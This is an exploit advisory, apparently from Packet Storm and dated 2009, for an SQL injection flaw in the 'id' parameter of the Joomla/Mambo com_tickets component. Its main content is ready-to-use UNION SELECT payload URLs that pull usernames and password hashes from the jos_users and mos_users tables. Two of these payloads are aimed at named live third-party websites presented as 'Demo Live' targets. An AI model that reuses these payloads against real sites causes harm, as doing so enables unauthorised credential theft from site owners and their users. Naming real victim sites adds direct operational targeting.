Joomla Tickets 2.1 SQL Injection

2009-06-23T00:00:00
ID PACKETSTORM:78578
Type packetstorm
Reporter Chip D3 Bi0s
Modified 2009-06-23T00:00:00

Description

                                        
                                            `++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
Joomla Component com_tickets (id) SQL-injection Vulnerability  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
  
###################################################  
[+] Author : Chip D3 Bi0s  
[+] Email : chipdebios[alt+64]gmail.com  
[+] Greetz : d4n1ux + x_jeshua + eCORE + rayok3nt  
[+] Vulnerability : SQL injection   
  
###################################################  
  
Info component:  
ššššššššššššššš  
Name : Tickets  
Version : 0.1 & 2.1  
Author : Paul Coogan  
Author email : paul@ideabuzz.com  
Web author : http://www.ideabuzz.com  
  
###################################################  
  
Example:  
http://localHost/path/index.php?option=com_tickets&task=form&id=n[SQL code]  
  
n = id valid  
  
  
Demo Live Joomla : version 2.1  
šššššššššššššššššššššššššššššš  
http://www.helendaleeducationfoundation.org/index.php?option=com_tickets&task=form&id=1+and+1=2+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users/*  
  
Demo Live Mambo : Version 0.1  
ššššššššššššššššššššššššššššš  
http://www.narip.com/index.php?option=com_tickets&task=form&id=68+and+1=2+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+mos_users/*  
  
  
+++++++++++++++++++++++++++++++++++++++  
#[!] Produced in South America  
+++++++++++++++++++++++++++++++++++++++  
  
  
`